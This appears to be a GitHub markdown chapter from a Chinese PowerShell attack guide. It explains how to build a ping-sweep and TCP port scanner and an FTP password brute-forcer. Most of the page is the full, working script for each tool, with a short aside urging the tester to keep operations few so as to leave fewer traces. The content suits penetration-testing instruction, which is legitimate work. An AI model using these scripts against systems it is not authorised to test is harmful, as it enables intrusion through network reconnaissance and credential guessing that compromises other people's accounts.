forked from rootclay/Powershell-Attack-Guide
-
Notifications
You must be signed in to change notification settings - Fork 9
/
Copy pathpowershell(5)-端口扫描与服务爆破.md
305 lines (251 loc) · 11.6 KB
/
powershell(5)-端口扫描与服务爆破.md
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
# powershell(5)-端口扫描与服务爆破
## 端口扫描
这里我们就开始了我们的端口扫描器的构建, 这里很多朋友肯定会说, 端口扫描不是有很多已经很成熟的脚本了么为什么还要去学习呢?那么我们首先想一想目前的一些优秀的端口扫描都是Python或者Go语言等进行编写的, 对于我们安全测试人员来说并不是最佳选择。因为对于Windows系统Python之类的环境并不是每一台电脑都有, 但Powershell不同我们不需要进行过多的操作即可进行丰富的操作, 这也是我们作为专业安全人员的基本素养: 尽可能进行少的操作, 因为你无法删除你所有的行踪, 物质守恒定律---没有人能确保自己不留任何痕迹, 那么越少的操作无疑是我们需要思考的。
端口扫描脚本已经直接放在了下面, 同样大部分的注释等已经写的很清晰, 本脚本涉及到的几个点:
1. 脚本参数的问题的解决, 可以看到我们的参数获取用了CmdletBinding的方法,这样我们可以设置参数的形式就有很多了, 比如我们需要一个参数是否可选,和参数的位置等
2. 主机存活检测使用Ping来检测(ICMP)
3. 端口扫描调用.NET的Socket来进行端口连接,如果连接建立代表端口连接成功
```powershell
function PortScan {
<#
.DESCRIPTION
端口扫描
.PARAMETER StartAddress
Ip开始地址 Range
.PARAMETER EndAddress
Ip结束地址 Range
.PARAMETER GetHost
解析获取主机名 HostName
.PARAMETER ScanPort
端口扫描参数, 若不打开就是主机存活的探测 PortScan
.PARAMETER Ports
需要扫描的端口,默认有: 21,22,23,25,53,80,110,139,143,389,443,445,465,873,993,995,1080,1086,
1723,1433,1521,2375,3128,3306,3389,3690,5432,5800,5900,6379,7001,7002,7778,8000,8001,
8080,8081,8089,8161,8888,9000,9001,9060,9200,9300,9080,9090,9999,10051,11211,27017,28017,50030
.PARAMETER TimeOut
TimeOut 默认是10s TimeOut 100
.EXAMPLE
PS > PortScan -StartAddress 172.16.50.1 -EndAddress 172.16.50.254
.EXAMPLE
PS > PortScan -StartAddress 172.16.50.1 -EndAddress 172.16.50.254 -GetHost
.EXAMPLE
PS > PortScan -StartAddress 172.16.50.1 -EndAddress 172.16.50.254 -GetHost -ScanPort
.EXAMPLE
PS > PortScan -StartAddress 172.16.50.1 -EndAddress 172.16.50.254 -GetHost -ScanPort -TimeOut 500
.EXAMPLE
PS > PortScan -StartAddress 172.16.50.1 -EndAddress 172.16.50.254 -GetHost -ScanPort -Port 80
#>
[CmdletBinding()] Param(
[parameter(Mandatory = $true, Position = 0)]
[ValidatePattern("\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\b")]
[string]
$StartAddress,
[parameter(Mandatory = $true, Position = 1)]
[ValidatePattern("\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\b")]
[string]
$EndAddress,
[switch]
$GetHost,
[switch]
$ScanPort,
[int[]]
$Ports = @(21,22,23,25,53,80,110,139,143,389,443,445,465,873,993,995,1080,1086,1723,1433,1521,2375,3128,3306,3389,3690,5432,5800,5900,6379,7001,7002,7778,8000,8001,8080,8081,8089,8161,8888,9000,9001,9060,9200,9300,9080,9090,9999,10051,11211,27017,28017,50030),
[int]
$TimeOut = 100
)
Begin {
# 开始之前先调用Ping组件
$ping = New-Object System.Net.Networkinformation.Ping
}
Process {
# 四层循环获取解析IP地址
foreach($a in ($StartAddress.Split(".")[0]..$EndAddress.Split(".")[0])) {
foreach($b in ($StartAddress.Split(".")[1]..$EndAddress.Split(".")[1])) {
foreach($c in ($StartAddress.Split(".")[2]..$EndAddress.Split(".")[2])) {
foreach($d in ($StartAddress.Split(".")[3]..$EndAddress.Split(".")[3])) {
# write-progress用于在shell界面显示一个进度条
write-progress -activity PingSweep -status "$a.$b.$c.$d" -percentcomplete (($d/($EndAddress.Split(".")[3])) * 100)
# 通过Ping命令发送ICMP包探测主机是否存活
$pingStatus = $ping.Send("$a.$b.$c.$d",$TimeOut)
if($pingStatus.Status -eq "Success") {
if($GetHost) {
# 本分支主要解决主机名的问题
# write-progress用于在shell界面显示一个进度条
write-progress -activity GetHost -status "$a.$b.$c.$d" -percentcomplete (($d/($EndAddress.Split(".")[3])) * 100) -Id 1
# 获取主机名
$getHostEntry = [Net.DNS]::BeginGetHostEntry($pingStatus.Address, $null, $null)
}
if($ScanPort) {
# 定义一个开放的端口数组, 存储开放的端口
$openPorts = @()
for($i = 1; $i -le $ports.Count;$i++) {
$port = $Ports[($i-1)]
# write-progress用于在shell界面显示一个进度条
write-progress -activity PortScan -status "$a.$b.$c.$d" -percentcomplete (($i/($Ports.Count)) * 100) -Id 2
# 定义一个Tcp的客户端
$client = New-Object System.Net.Sockets.TcpClient
# 开始连接
$beginConnect = $client.BeginConnect($pingStatus.Address,$port,$null,$null)
if($client.Connected) {
# 加入开放的端口
$openPorts += $port
} else {
# 等待, 这里用于网络延迟, 防止因为网络原因而没有判断到端口的开放而错失很多机会
Start-Sleep -Milli $TimeOut
if($client.Connected) {
$openPorts += $port
}
}
$client.Close()
}
}
if($GetHost) {
# 获取主机名
$hostName = ([Net.DNS]::EndGetHostEntry([IAsyncResult]$getHostEntry)).HostName
}
# 返回对象-哈希表
New-Object PSObject -Property @{
IPAddress = "$a.$b.$c.$d";
HostName = $hostName;
Ports = $openPorts
} | Select-Object IPAddress, HostName, Ports
}
}
}
}
}
}
End {
# 其他脚本运行结束代码
}
}
```
我们开看看一个简单的扫描结果:

那么其他扫描模式可自行测试, 可以看到这种扫描是知识单线程模式, 关于多线程的编程我们放在后面再来研究。
## 服务爆破
那么我们进入到服务爆破的阶段, 那么我们端口扫描之后的一步必然就是进行服务的弱点攻击, 对于一些服务比如21FTP和数据库之类的服务进行爆破是安全测试必经的过程, 那么我们来以FTP服务爆破来举例
```powershell
function Invoke-BruteForce
{
<#
.DESCRIPTION
FTP服务爆破脚本
.PARAMETER Computername
主机名参数
.PARAMETER UserList
用户字典参数
.PARAMETER PasswordList
密码字典参数
.PARAMETER Service
服务名参数
.PARAMETER StopOnSuccess
找到密码时是否退出
.PARAMETER Delay
爆破时间间隔, 默认为0
.EXAMPLE
PS C:\Users\rootclay\Desktop\powershell> FTP-BruteForce -ComputerName localhost -UserList
C:\Users\rootclay\Desktop\powershell\dict\username.txt -PasswordList
C:\Users\rootclay\Desktop\powershell\dict\pass.txt -Service ftp -verbose
#>
[CmdletBinding()] Param(
[Parameter(Mandatory = $true, Position = 0, ValueFromPipeline=$true)]
[Alias("PSComputerName","CN","MachineName","IP","IPAddress","Identity","Url","Ftp","Domain","DistinguishedName")]
[String]
$ComputerName,
[Parameter(Position = 1, Mandatory = $true)]
[Alias('Users')]
[String]
$UserList,
[Parameter(Position = 2, Mandatory = $true)]
[Alias('Passwords')]
[String]
$PasswordList,
[Parameter(Position = 3, Mandatory = $true)] [ValidateSet("FTP")]
[String]
$Service = "FTP",
[Parameter(Position = 4, Mandatory = $false)]
[Switch]
$StopOnSuccess,
[Parameter(Position = 6, Mandatory = $false)]
[UInt32]
$Delay = 0
)
Begin {
# 开始之前相关代码
}
Process
{
# Write-Verbose用于打印详细信息
Write-Verbose "Starting Brute-Force and Delay is $Delay."
# 获取用户名与密码字典
$usernames = Get-Content -ErrorAction SilentlyContinue -Path $UserList
$passwords = Get-Content -ErrorAction SilentlyContinue -Path $PasswordList
if (!$usernames) {
$usernames = $UserList
Write-Verbose "UserList file does not exist."
Write-Verbose $usernames
}
if (!$passwords) {
$passwords = $PasswordList
Write-Verbose "PasswordList file does not exist."
Write-Verbose $passwords
}
# Brute Force FTP
if ($service -eq "FTP")
{
# 机器名的处理:若ftp://开始直接获取名字,若没有直接加上
if($ComputerName -notMatch "^ftp://")
{
$source = "ftp://" + $ComputerName
}
else
{
$source = $ComputerName
}
Write-Output "Brute Forcing FTP on $ComputerName"
:UsernameLoop foreach ($username in $usernames)
{
foreach ($Password in $Passwords)
{
try
{
# 调用.net中的FTP库进行连接
$ftpRequest = [System.Net.FtpWebRequest]::Create($source)
$ftpRequest.Method = [System.Net.WebRequestMethods+Ftp]::ListDirectoryDetails
# 通过Verbose输出的信息
Write-Verbose "Trying $userName : $password"
# 进行认证连接
$ftpRequest.Credentials = new-object System.Net.NetworkCredential($userName, $password)
# 获取返回信息
$result = $ftpRequest.GetResponse()
$message = $result.BannerMessage + $result.WelcomeMessage
# 打印信息到控制台
Write-Output "Match $username : $Password"
$success = $true
# 判断是否要得到结果立刻退出
if ($StopOnSuccess)
{
break UsernameLoop
}
}
catch
{
$message = $error[0].ToString()
$success = $false
}
# 延时爆破
Start-Sleep -Seconds $Delay
}
}
}
}
End {
# 其他脚本运行结束代码
}
}
```
下面来看看爆破的结果:

如果不加-verbose参数显示是非常清爽的:
